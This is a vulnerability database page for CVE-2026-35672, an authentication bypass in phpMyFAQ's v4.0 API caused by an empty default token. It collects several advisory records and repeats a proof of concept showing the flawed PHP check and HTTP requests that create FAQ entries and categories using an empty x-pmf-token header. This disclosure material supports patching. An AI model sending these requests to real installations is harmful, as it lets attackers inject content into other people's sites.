CVE-2026-35672
phpMyFAQ - Authentication Bypass via Empty API Token
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
phpMyFAQ - Authentication Bypass via Empty API Token
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
- Record
CVE-2026-35672- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-1188
- Updated
- 2026-11-08
EUVDEUVD-2026-32903
8.7
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
- Record
EUVD-2026-32903- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-08
GitHub AdvisoriesGHSA-gp95-j463-vv28
8.7
phpMyFAQ: Default Empty API Token Authentication Bypass
Summary
A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."
Details
The root cause is in two files:
1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):
'api.enableAccess' => 'true',
'api.apiClientToken' => '', // ← defaults to empty string
2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):
protected function hasValidToken(): void
{
$request = Request::createFromGlobals();
if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
}
}
The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.
The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.
The following API endpoints call $this->hasValidToken() as their only authentication check:
| File | Endpoint | Method |
| ------------------------------------------------------- | ---------------------- | ------ |
| src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST |
| src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT |
| src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST |
| src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |
PoC
Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.
Step 1 — Verify that requests without auth header are correctly rejected:
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
{
"language": "en",
"category-id": 1,
"question": "Test Question",
"answer": "Test Answer",
"keywords": "test",
"author": "test",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
Response (HTTP 401 — correctly blocked):
{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}
Step 2 — Send the same request with an empty x-pmf-token header:
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"category-id": 1,
"question": "[POC] Authentication Bypass Confirmed",
"answer": "This FAQ was created without any valid authentication token.",
"keywords": "poc,bypass",
"author": "Security Researcher",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
Response (HTTP 201 — bypass confirmed):
{"stored": true}
Step 3 — Category creation via the same bypass:
POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"parent-id": 0,
"category-name": "POC_Category",
"description": "Category created via empty token bypass",
"user-id": 1,
"group-id": -1,
"is-active": true,
"show-on-homepage": true
}
Response (HTTP 201): …
- Record
GHSA-gp95-j463-vv28- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-1188
- Updated
- 2026-11-02
NVD
8.7
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
- Record
CVE-2026-35672- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-1188
- Updated
- 2026-11-02
OSV
8.7
phpMyFAQ - Authentication Bypass via Empty API Token
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
- Record
CVE-2026-35672- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-1188
- Updated
- 2026-11-02
OSVGHSA-gp95-j463-vv28
8.7
phpMyFAQ: Default Empty API Token Authentication Bypass
Summary
A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."
Details
The root cause is in two files:
1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):
'api.enableAccess' => 'true',
'api.apiClientToken' => '', // ← defaults to empty string
2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):
protected function hasValidToken(): void
{
$request = Request::createFromGlobals();
if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
}
}
The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.
The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.
The following API endpoints call $this->hasValidToken() as their only authentication check:
| File | Endpoint | Method |
| ------------------------------------------------------- | ---------------------- | ------ |
| src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST |
| src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT |
| src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST |
| src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |
PoC
Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.
Step 1 — Verify that requests without auth header are correctly rejected:
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
{
"language": "en",
"category-id": 1,
"question": "Test Question",
"answer": "Test Answer",
"keywords": "test",
"author": "test",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
Response (HTTP 401 — correctly blocked):
{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}
Step 2 — Send the same request with an empty x-pmf-token header:
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"category-id": 1,
"question": "[POC] Authentication Bypass Confirmed",
"answer": "This FAQ was created without any valid authentication token.",
"keywords": "poc,bypass",
"author": "Security Researcher",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
Response (HTTP 201 — bypass confirmed):
{"stored": true}
Step 3 — Category creation via the same bypass:
POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"parent-id": 0,
"category-name": "POC_Category",
"description": "Category created via empty token bypass",
"user-id": 1,
"group-id": -1,
"is-active": true,
"show-on-homepage": true
}
Response (HTTP 201): …
- Record
GHSA-gp95-j463-vv28- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-1188
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
thorsten/phpmyfaqPackagist |
through 4.1.2 | 4.1.3 |
phpmyfaq/phpmyfaqPackagist |
through 4.1.2 | 4.1.3 |
thorsten/phpmyfaqPackagist |
before 4.1.3, plus listed versions 2.10.0-alpha2.8.02.8.0-RC2.8.0-RC22.8.0-RC3 Show 45 moreShow less2.8.0-RC42.8.0-alpha22.8.0-alpha32.8.0-beta2.8.0-beta22.8.0-beta32.8.12.8.102.8.112.8.122.8.132.8.142.8.152.8.162.8.172.8.182.8.192.8.22.8.202.8.212.8.222.8.232.8.242.8.252.8.262.8.272.8.282.8.292.8.32.8.42.8.52.8.62.8.72.8.82.8.92.9.02.9.0-alpha2.9.0-alpha22.9.0-alpha32.9.0-alpha42.9.0-beta2.9.0-beta22.9.0-rc2.9.0-rc22.9.0-rc3 |
4.1.3 |
phpmyfaq/phpmyfaqPackagist |
before 4.1.3, plus listed versions 2.10.0-alpha2.8.02.8.0-RC2.8.0-RC22.8.0-RC3 Show 45 moreShow less2.8.0-RC42.8.0-alpha22.8.0-alpha32.8.0-beta2.8.0-beta22.8.0-beta32.8.12.8.102.8.112.8.122.8.132.8.142.8.152.8.162.8.172.8.182.8.192.8.22.8.202.8.212.8.222.8.232.8.242.8.252.8.262.8.272.8.282.8.292.8.32.8.42.8.52.8.62.8.72.8.82.8.92.9.02.9.0-alpha2.9.0-alpha22.9.0-alpha32.9.0-alpha42.9.0-beta2.9.0-beta22.9.0-rc2.9.0-rc22.9.0-rc3 |
4.1.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | EUVD | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-35672 is a high vulnerability (CVSS 8.7) in Thorsten Phpmyfaq, published May 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in thorsten/phpmyfaq 4.1.3.
References
github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
nvd.nist.gov/vuln/detail/CVE-2026-35672
github.com/advisories/GHSA-gp95-j463-vv28
github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35672.json
github.com/thorsten/phpMyFAQ
Left out here: 242 versions and the rest of 2 source descriptions. The JSON record has them.